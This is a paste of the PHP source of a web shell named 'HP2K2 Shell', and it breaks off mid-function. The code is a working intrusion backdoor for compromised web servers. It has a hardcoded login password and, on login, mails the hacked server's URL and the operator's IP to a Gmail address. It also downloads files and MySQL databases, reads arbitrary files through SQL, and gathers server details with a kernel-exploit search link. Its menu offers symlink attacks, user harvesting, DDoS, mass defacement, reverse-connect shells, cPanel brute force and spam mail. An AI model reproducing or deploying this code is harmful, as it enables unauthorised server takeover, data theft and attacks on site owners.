· 10 years ago · Jan 30, 2016, 12:45 PM
1<?php
2
3
4error_reporting(7);
5@set_magic_quotes_runtime(0);
6ob_start();
7$mtime = explode(' ', microtime());
8$starttime = $mtime[1] + $mtime[0];
9define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
10//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
11define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
12define('IS_COM', class_exists('COM') ? 1 : 0 );
13define('IS_GPC', get_magic_quotes_gpc());
14$dis_func = get_cfg_var('disable_functions');
15define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
16@set_time_limit(0);
17
18foreach(array('_GET','_POST') as $_request) {
19 foreach($$_request as $_key => $_value) {
20 if ($_key{0} != '_') {
21 if (IS_GPC) {
22 $_value = s_array($_value);
23 }
24 $$_key = $_value;
25 }
26 }
27}
28
29/*================= Info Login ================*/
30$admin = array();
31$admin['check'] = true;
32$admin['pass'] = 'hp2k2doser'; // Password login
33$admin['cookiepre'] = '';
34$admin['cookiedomain'] = '';
35$admin['cookiepath'] = '/';
36$admin['cookielife'] = 86400;
37/*===================== End =====================*/
38
39if ($charset == 'utf8') {
40 header("content-Type: text/html; charset=utf-8");
41} elseif ($charset == 'big5') {
42 header("content-Type: text/html; charset=big5");
43} elseif ($charset == 'gbk') {
44 header("content-Type: text/html; charset=gbk");
45} elseif ($charset == 'latin1') {
46 header("content-Type: text/html; charset=iso-8859-2");
47}
48
49$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
50$timestamp = time();
51
52/*===================== Login =====================*/
53if ($action == "logout") {
54 scookie('vbapass', '', -86400 * 365);
55 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
56 p('<body background=black>');
57 exit;
58}
59if($admin['check']) {
60 if ($doing == 'login') {
61 if ($admin['pass'] == $password) {
62 scookie('vbapass', $password);
63
64// Function mail Sender to my Email
65$time_shell = "".date("d/m/Y - H:i:s")."";
66$ip_remote = $_SERVER["REMOTE_ADDR"];
67$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
68$to_email = 'noname192425@gmail.com';
69$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
70$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
71$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
72@mail($to_email, $server_mail, $linkcr, $header);
73 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
74 p('<body bgcolor=black>
75<BR><BR><ul class="loader">
76 <li>
77 <div class="circle"></div>
78 <div class="ball"></div>
79 </li>
80 <li>
81 <div class="circle"></div>
82 <div class="ball"></div>
83 </li>
84 <li>
85 <div class="circle"></div>
86 <div class="ball"></div>
87 </li>
88 <li>
89 <div class="circle"></div>
90 <div class="ball"></div>
91 </li>
92 <li>
93 <div class="circle"></div>
94 <div class="ball"></div>
95 </li>
96</ul>
97
98<style>
99.loader {
100 width: 250px;
101 height: 50px;
102 position: absolute;
103 top: 50%;
104 left: 50%;
105 margin: -25px -125px;
106 list-style-type: none;
107}
108
109.loader li {
110 float: left;
111 position: relative;
112}
113
114.circle {
115 width: 40px;
116 height: 40px;
117 border-radius: 0 0 50% 50%;
118 border: 4px solid #fff;
119 border-top: 0;
120 border-left: 0;
121 border-right: 0;
122}
123
124.ball {
125 position: absolute;
126 content: "";
127 width: 20px;
128 height: 20px;
129 top: 50%;
130 left: 50%;
131 margin-top: -10px;
132 margin-left: -10px;
133 border-radius: 100%;
134 background: #fff;
135 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
136}
137
138.circle {
139 -webkit-animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
140 animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
141}
142
143.ball {
144 -webkit-animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
145 animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
146}
147
148.loader li:nth-child(1) div {
149 -webkit-animation-delay: 100ms;
150 animation-delay: 100ms;
151}
152
153.loader li:nth-child(2) div {
154 -webkit-animation-delay: 200ms;
155 animation-delay: 200ms;
156}
157
158.loader li:nth-child(3) div {
159 -webkit-animation-delay: 300ms;
160 animation-delay: 300ms;
161}
162
163.loader li:nth-child(4) div {
164 -webkit-animation-delay: 400ms;
165 animation-delay: 400ms;
166}
167
168.loader li:nth-child(5) div {
169 -webkit-animation-delay: 500ms;
170 animation-delay: 500ms;
171}
172
173@keyframes rotate {
174 0%, 20% {
175 transform: rotate(0deg);
176 }
177 100% {
178 transform: rotate(360deg);
179 }
180}
181
182@-webkit-keyframes rotate {
183 0%, 20% {
184 -webkit-transform: rotate(0deg);
185 }
186 100% {
187 -webkit-transform: rotate(360deg);
188 }
189}
190
191@keyframes fall {
192 0%, 20% {
193 transform: translatey(-30px);
194 opacity: 0;
195 }
196 20%,
197 24%,
198 27%,
199 30%,
200 50%,
201 75% {
202 transform: translatey(0px);
203 opacity: 1;
204 }
205 22% {
206 transform: translatey(-10px)
207 }
208 25% {
209 transform: translatey(-6px)
210 }
211 28% {
212 transform: translatey(-2px)
213 }
214 30% {
215 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
216 }
217 75%,
218 100% {
219 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
220 transform: translatey(30px);
221 opacity: 0;
222 }
223}
224
225@-webkit-keyframes fall {
226 0%, 20% {
227 -webkit-transform: translatey(-30px);
228 opacity: 0;
229 }
230 20%,
231 24%,
232 27%,
233 30%,
234 50%,
235 75% {
236 -webkit-transform: translatey(0px);
237 opacity: 1;
238 }
239 22% {
240 -webkit-transform: translatey(-10px)
241 }
242 25% {
243 -webkit-transform: translatey(-6px)
244 }
245 28% {
246 -webkit-transform: translatey(-2px)
247 }
248 30% {
249 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
250 }
251 75%,
252 100% {
253 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
254 -webkit-transform: translatey(30px);
255 opacity: 0;
256 }
257}
258</style>');
259 exit;
260 }
261
262 else
263 {
264 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
265echo $err_mess;
266 }}
267 if ($_COOKIE['vbapass']) {
268 if ($_COOKIE['vbapass'] != $admin['pass']) {
269 loginpage();
270 }
271 } else {
272 loginpage();
273 }
274}
275/*===================== Login =====================*/
276
277$errmsg = '';
278
279if ($action == 'phpinfo') {
280 if (IS_PHPINFO) {
281 phpinfo();
282 } else {
283 $errmsg = 'phpinfo() function has non-permissible';
284 }
285}
286
287
288if ($doing == 'downfile' && $thefile) {
289 if (!@file_exists($thefile)) {
290 $errmsg = 'The file you want Downloadable was nonexistent';
291 } else {
292 $fileinfo = pathinfo($thefile);
293 header('Content-type: application/x-'.$fileinfo['extension']);
294 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
295 header('Content-Length: '.filesize($thefile));
296 @readfile($thefile);
297 exit;
298 }
299}
300
301
302if ($doing == 'backupmysql' && !$saveasfile) {
303 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
304 $table = array_flip($table);
305 $result = q("SHOW tables");
306 if (!$result) p('<h2>'.mysql_error().'</h2>');
307 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
308 header('Content-type: application/unknown');
309 header('Content-Disposition: attachment; filename='.$filename);
310 $mysqldata = '';
311 while ($currow = mysql_fetch_array($result)) {
312 if (isset($table[$currow[0]])) {
313 $mysqldata .= sqldumptable($currow[0]);
314 }
315 }
316 mysql_close();
317 exit;
318}
319
320// Mysql
321if($doing=='mysqldown'){
322 if (!$dbname) {
323 $errmsg = 'Please input dbname';
324 } else {
325 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
326 if (!file_exists($mysqldlfile)) {
327 $errmsg = 'The file you want Downloadable was nonexistent';
328 } else {
329 $result = q("select load_file('$mysqldlfile');");
330 if(!$result){
331 q("DROP TABLE IF EXISTS tmp_angel;");
332 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
333 //Download SQL
334 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
335 $result = q("select content from tmp_angel");
336 q("DROP TABLE tmp_angel");
337 }
338 $row = @mysql_fetch_array($result);
339 if (!$row) {
340 $errmsg = 'Load file failed '.mysql_error();
341 } else {
342 $fileinfo = pathinfo($mysqldlfile);
343 header('Content-type: application/x-'.$fileinfo['extension']);
344 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
345 header("Accept-Length: ".strlen($row[0]));
346 echo $row[0];
347 exit;
348 }
349 }
350 }
351}
352
353?>
354<html>
355<head>
356<meta http-equiv="Content-Type" content="text/html; charset=gbk">
357<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
358<script type="text/javascript" language="javascript">
359<!--
360ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
361MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
362OT="";
363for(j=0;j<MI.length;j++){
364OT+=ML.charAt(MI.charCodeAt(j)-48);
365}document.write(OT);
366// --></script>
367 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
368 <tr class="alt1">
369 <style type="text/css">body, a:hover {cursor: url(http://ani.cursors-4u.net/cursors/cur-12/cur1081.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2013/02/28/firefly-pointer-2.html" target="_blank" title="Firefly Pointer 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Firefly Pointer 2" style="position:absolute; top: 0px; right: 0px;" /></a>
370 <td width=10%><style>
371 @import url(http://fonts.googleapis.com/css?family=Oxygen+Mono);
372/* Starter CSS for Menu */
373#cssmenu {
374 padding: 0;
375 margin: 0;
376 border: 0;
377 width: auto;
378}
379#cssmenu ul,
380#cssmenu li {
381 list-style: none;
382 margin: 0;
383 padding: 0;
384}
385#cssmenu ul {
386 position: relative;
387 z-index: 597;
388}
389#cssmenu ul li {
390 float: left;
391 min-height: 1px;
392 vertical-align: middle;
393}
394#cssmenu ul li.hover,
395#cssmenu ul li:hover {
396 position: relative;
397 z-index: 599;
398 cursor: default;
399}
400#cssmenu ul ul {
401 visibility: hidden;
402 position: absolute;
403 top: 100%;
404 left: 0;
405 z-index: 598;
406 width: 100%;
407}
408#cssmenu ul ul li {
409 float: none;
410}
411#cssmenu ul ul ul {
412 top: 0;
413 left: 190px;
414 width: 190px;
415}
416#cssmenu ul li:hover > ul {
417 visibility: visible;
418}
419#cssmenu ul ul {
420 bottom: 0;
421 left: 0;
422}
423#cssmenu ul ul {
424 margin-top: 0;
425}
426#cssmenu ul ul li {
427 font-weight: normal;
428}
429#cssmenu a {
430 display: block;
431 line-height: 1em;
432 text-decoration: none;
433}
434/* Custom CSS Styles */
435#cssmenu {
436 background: #333333;
437 border-bottom: 4px solid #1b9bff;
438 font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif;
439 font-size: 12px;
440}
441#cssmenu > ul {
442 *display: inline-block;
443}
444#cssmenu:after,
445#cssmenu ul:after {
446 content: '';
447 display: block;
448 clear: both;
449}
450#cssmenu ul {
451 text-transform: uppercase;
452}
453#cssmenu ul ul {
454 border-top: 4px solid #1b9bff;
455 text-transform: none;
456 min-width: 190px;
457}
458#cssmenu ul ul a {
459 background: #1b9bff;
460 color: #ffffff;
461 border: 1px solid #0082e7;
462 border-top: 0 none;
463 line-height: 150%;
464 padding: 16px 20px;
465 font-size: 12px;
466}
467#cssmenu ul ul ul {
468 border-top: 0 none;
469}
470#cssmenu ul ul li {
471 position: relative;
472}
473#cssmenu ul ul li:first-child > a {
474 border-top: 1px solid #0082e7;
475}
476#cssmenu ul ul li:hover > a {
477 background: #4eb1ff;
478 color: #ffffff;
479}
480#cssmenu ul ul li:last-child > a {
481 -moz-border-radius: 0 0 3px 3px;
482 -webkit-border-radius: 0 0 3px 3px;
483 border-radius: 0 0 3px 3px;
484 -moz-background-clip: padding;
485 -webkit-background-clip: padding-box;
486 background-clip: padding-box;
487 -moz-box-shadow: 0 1px 0 #1b9bff;
488 -webkit-box-shadow: 0 1px 0 #1b9bff;
489 box-shadow: 0 1px 0 #1b9bff;
490}
491#cssmenu ul ul li:last-child:hover > a {
492 -moz-border-radius: 0 0 0 3px;
493 -webkit-border-radius: 0 0 0 3px;
494 border-radius: 0 0 0 3px;
495 -moz-background-clip: padding;
496 -webkit-background-clip: padding-box;
497 background-clip: padding-box;
498}
499#cssmenu ul ul li.has-sub > a:after {
500 content: '+';
501 position: absolute;
502 top: 50%;
503 right: 15px;
504 margin-top: -8px;
505}
506#cssmenu ul li:hover > a,
507#cssmenu ul li.active > a {
508 background: #1b9bff;
509 color: #ffffff;
510}
511#cssmenu ul li.has-sub > a:after {
512 content: '+';
513 margin-left: 5px;
514}
515#cssmenu ul li.last ul {
516 left: auto;
517 right: 0;
518}
519#cssmenu ul li.last ul ul {
520 left: auto;
521 right: 99.5%;
522}
523#cssmenu a {
524 background: #333333;
525 color: #CBCBCB;
526 padding: 0 20px;
527}
528#cssmenu > ul > li > a {
529 line-height: 48px;
530 font-size: 12px;
531}
532input, textarea, button
533{
534 font-size: 11pt;
535 color: white;
536 font-family: verdana, sans-serif;
537 background-color: rgba(255, 0, 0, 0.61);
538 border-left: 2px dashed #74A202;
539 border-top: 2px dashed #74A202;
540 border-right: 2px dashed #74A202;
541 border-bottom: 2px dashed #74A202;
542}
543 </style>
544 <html>
545<head>
546<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
547<link rel="icon" href="http://i189.photobucket.com/albums/z79/jamessyrum/wallpaper_by_sandara.jpg" type="image/x-icon" />
548<title>.:: HP2K2 Shell ::. </title>
549<style type="text/css">
550*{margin:0;padding:0}
551#HP2K2 {
552position:fixed;
553top:0;left:0;
554width:100%;height:100%;
555z-index:-1;
556}
557body,td{background: rgb(240,240,240) url('http://www.anhnendephd.com/vn/anh/hinh-nen-3d/file/thumb/1920/1200/635057879.jpg') no-repeat center bottom;
558background-attachment: fixed;
559font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}
560
561a {color: #00FF7F;text-decoration:none;}
562a:hover{color: yellow;text-decoration:underline;}
563.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}
564.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}
565.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
566.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
567.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
568.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
569.head_small td{
570font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}
571.head td span{font-weight:normal;}
572form{margin:0;padding:0;}
573h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
574ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
575u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
576input, textarea, button
577{
578 font-size: 9pt;
579 color: #FFF;
580 font-family: verdana, sans-serif;
581 background-color: rgba(255, 0, 0, 0.61);
582 border-left: 1px solid #74A202;
583 border-top: 1px solid #74A202;
584 border-right: 1px solid #74A202;
585 border-bottom: 1px solid #74A202;
586}
587select
588{
589 font-size: 8pt;
590 font-weight: normal;
591 color: #ccc;
592 font-family: verdana, sans-serif;
593 background-color: #202020;
594}
595
596 @-webkit-keyframes tnkss{
597 1% {opacity: 0.0;}
598 25% {opacity: 0.3;}
599 50% {opacity: 0.1;}
600 75% {opacity: 0.7;}
601 100 {opacity: 1;}
602 }
603</style>
604<script type="text/javascript">
605function CheckAll(form) {
606 for(var i=0;i<form.elements.length;i++) {
607 var e = form.elements[i];
608 if (e.name != 'chkall')
609 e.checked = form.chkall.checked;
610 }
611}
612function $(id) {
613 return document.getElementById(id);
614}
615function goaction(act){
616 $('goaction').action.value=act;
617 $('goaction').submit();
618}
619</script>
620</head>
621<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black>
622<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
623 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
624 <tr>
625 <td align="center" valign=center>
626 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 80px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
627 Waiting....<img src="http://publication.ida.org.in/images/loading.gif">
628 </div>
629 </td>
630 </tr>
631 </table>
632</div>
633 <script>
634 var ld=(document.all);
635 var ns4=document.layers;
636 var ns6=document.getElementById&&!document.all;
637 var ie4=document.all;
638 if (ns4)
639 ld=document.loading;
640 else if (ns6)
641 ld=document.getElementById("loading").style;
642 else if (ie4)
643 ld=document.all.loading.style;
644 function init()
645 {
646 if(ns4){ld.visibility="hidden";}
647 else if (ns6||ie4) ld.display="none";
648 }
649 </script>
650
651
652
653
654<table width="100%" border="0" cellpadding="0" cellspacing="0">
655 <tr class="head_small">
656 <td width=100%>
657 <table width=100%><tr class="head_small"><td width=86px><a title="HP2K2 Shell" href="<?php $self;?>"><img src=https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-xfa1/v/t1.0-9/12345570_186979111646190_6616937591065297706_n.jpg?oh=78a5c5db4810b024bd256b589c5fb01b&oe=56D4A958&__gda__=1461752174_2777eb6bae267cd4f86be6e0dea0c37b height=86 border=0></a></td><td>
658 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="https://www.facebook.com/profile.php?id=100011074965700" target="_blank"><?php echo str_replace('.','','HP2K2');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
659
660 <?php
661 $curl_on = @function_exists('curl_version');
662 $mysql_on = @function_exists('mysql_connect');
663 $mssql_on = @function_exists('mssql_connect');
664 $pg_on = @function_exists('pg_connect');
665 $ora_on = @function_exists('ocilogon');
666
667echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
668echo "PHP version: <b>".@phpversion()."</b> - ";
669 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
670 echo "MySQL: <b>";
671$mysql_on = @function_exists('mysql_connect');
672if($mysql_on){
673echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
674echo "MSSQL: <b>";
675$mssql_on = @function_exists('mssql_connect');
676if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
677echo "PostgreSQL: <b>";
678$pg_on = @function_exists('pg_connect');
679if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
680echo "Oracle: <b>";
681$ora_on = @function_exists('ocilogon');
682if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
683
684
685
686echo "Disable functions : <b>";
687if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
688
689echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
690echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploit]</b></font><br></a>";
691echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
692 ?>
693 </td></tr></table></td>
694 </tr>
695 <tr class="alt1">
696 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
697
698 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
699 <tr class="alt1">
700 <td width=10%><style>
701 #abt-nav,#abt-nav ul {
702 list-style: none outside none;
703 margin: 0;
704 padding: 0;
705}
706#abt-nav {
707 background: url('http://www.taianhdep.net/wp-content/uploads/2013/07/hinhnendacsacchopowerpoint_25072013_6.jpg');
708 clear: both;
709 font-size: 12px;
710 height: 45px;
711 padding: 0 0 0 15px;
712 position: relative;
713 width: 100%;
714}
715#abt-nav ul {
716 background-color: #222;
717 border:1px solid #222;
718 border-radius: 0 5px 5px 5px;
719 border-width: 0 1px 1px;
720 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
721 left: -9999px;
722 overflow: hidden;
723 position: absolute;
724 top: -9999px;
725 z-index: 2;
726 -moz-transform: scaleY(0);
727 -ms-transform: scaleY(0);
728 -o-transform: scaleY(0);
729 -webkit-transform: scaleY(0);
730 transform: scaleY(0);
731 -moz-transform-origin: 0 0;
732 -ms-transform-origin: 0 0;
733 -o-transform-origin: 0 0;
734 -webkit-transform-origin: 0 0;
735 transform-origin: 0 0;
736 -moz-transition: -moz-transform 0.1s linear;
737 -ms-transition: -ms-transform 0.1s linear;
738 -o-transition: -o-transform 0.1s linear;
739 -webkit-transition: -webkit-transform 0.1s linear;
740 transition: transform 0.1s linear;
741}
742#abt-nav li {
743 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
744 float: left;
745 position: relative;
746}
747#abt-nav li a {
748 color: #FFFFFF;
749 display: block;
750 float: left;
751 font-weight: normal;
752 height: 30px;
753 padding: 23px 20px 0;
754 position: relative;
755 text-decoration: none;
756 text-shadow: 1px 1px 1px #000000;
757}
758#abt-nav li:hover > a {
759 color: #00B4FF;
760}
761#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
762 background: none repeat scroll 0 0 #121212;
763 outline: 0 none;
764}
765#abt-nav li:hover ul.subs {
766 left: 0;
767 top: 53px;
768 width: 180px;
769 -moz-transform: scaleY(1);
770 -ms-transform: scaleY(1);
771 -o-transform: scaleY(1);
772 -webkit-transform: scaleY(1);
773 transform: scaleY(1);
774}
775#abt-nav ul li {
776 background: none;
777 width: 100%;
778}
779#abt-nav ul li a {
780 float: none;
781}
782#abt-nav ul li:hover > a {
783 background-color: #121212;
784 color: #00B4FF;
785}
786
787#lavalamp {
788 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
789 height: 16px;
790 left: 13px;
791 position: absolute;
792 top: 0px;
793 width: 64px;
794 -moz-transition: all 300ms ease;
795 -ms-transition: all 300ms ease;
796 -o-transition: all 300ms ease;
797 -webkit-transition: all 300ms ease;
798 transition: all 300ms ease;
799}
800
801#lavalamp:hover {
802 -moz-transition-duration: 3000s;
803 -ms-transition-duration: 3000s;
804 -o-transition-duration: 3000s;
805 -webkit-transition-duration: 3000s;
806 transition-duration: 3000s;
807}
808
809#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
810 left: 17px;
811}
812#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
813 left: 103px;
814}
815#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
816 left: 178px;
817}
818#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
819 left: 262px;
820}
821#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
822 left: 344px;
823}
824#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
825 left: 425px;
826}
827#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
828 left: 522px;
829}
830#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
831 left: 615px;
832}
833#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
834 left: 705px;
835}
836#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
837 left: 795px;
838}
839#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
840 left: 900px;
841}
842#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
843 left: 1005px;
844}
845#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
846 left: 1100px;
847}
848#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
849 left: 1190px;
850}
851#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
852 left: 1287px;
853}
854#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
855 left: 1377px;
856}
857#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
858 left: 1475px;
859}
860#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
861 left: 195px;
862}
863#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
864 left: 1610px;
865}
866 </style>
867 <ul id="abt-nav">
868 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chủ</font></a></li>
869 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
870 <li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>
871 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
872 <ul class="subs">
873 <li><a href="javascript:goaction('cgi');" target="_blank" >CGI Shell Log</a></li>
874 <li><a href="javascript:goaction('telnet');" target="_blank" >CGI Telnet</a></li>
875 <li><a href="javascript:goaction('cgipin');" target="_blank">CGI Pin</a></li>
876 <li><a href="javascript:goaction('vb');" target="_blank">CGI Bypass</a></li>
877 </ul>
878 </li>
879
880
881 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
882 <ul class="subs">
883 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
884 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
885 <li><a href="javascript:goaction('bug');">Bug Shell</a></li>
886 <li><a href="javascript:goaction('endecode');">Encode - Decode</a></li>
887 <li><a href="javascript:goaction('reverseip');">Reverse IP</a></li>
888 </ul>
889
890 </li>
891 <li><a href="sym/" target="_blank"><font color=#FF3030>Mở Sym-Root</font> </a></li>
892 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
893 <ul class="subs">
894 <li><a href="javascript:goaction('viewdomain');">Domain-User</a></li>
895 <li><a href="javascript:goaction('symroot');">Symlink</a></li>
896 </ul>
897 </li>
898 <li><a href="javascript:goaction('ddosv2');"><font color=#FF8C00>DDos V2</font></a></li>
899 <li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>
900 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
901 <ul class="subs">
902 <li><a href="javascript:goaction('mass');">With Root</a></li>
903 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
904
905
906 </ul>
907 </li>
908 <li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>
909 <ul class="subs">
910 <li><a href="javascript:goaction('newcommand');">Command</a></li>
911 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
912 </ul></li>
913 <li><a href="javascript:goaction('HP2K2');"><font color=#FF69B4>Deface</font></a></li>
914 <li><a href="#;"><font color=#ADFF2F>Back</font></a>
915 <ul class="subs">
916 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
917 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
918 </ul>
919
920 </li>
921 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
922 <ul class="subs">
923 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
924 </ul>
925 </li>
926 <li><a href="javascript:goaction('findadmin');"><font color=#52F3FF>Find Admin</font></a></li>
927
928 <div id="lavalamp"></div>
929</ul>
930
931 </td>
932 </tr>
933</table>
934<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
935<?php
936
937formhead(array('name'=>'goaction'));
938makehide('action');
939formfoot();
940
941$errmsg && m($errmsg);
942
943// Dir function
944!$dir && $dir = '.';
945$nowpath = getPath(SA_ROOT, $dir);
946if (substr($dir, -1) != '/') {
947 $dir = $dir.'/';
948}
949$uedir = ue($dir);
950
951if (!$action || $action == 'file') {
952
953 // Non-writeable
954 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
955
956 // Delete dir
957 if ($doing == 'deldir' && $thefile) {
958 if (!file_exists($thefile)) {
959 m($thefile.' directory does not exist');
960 } else {
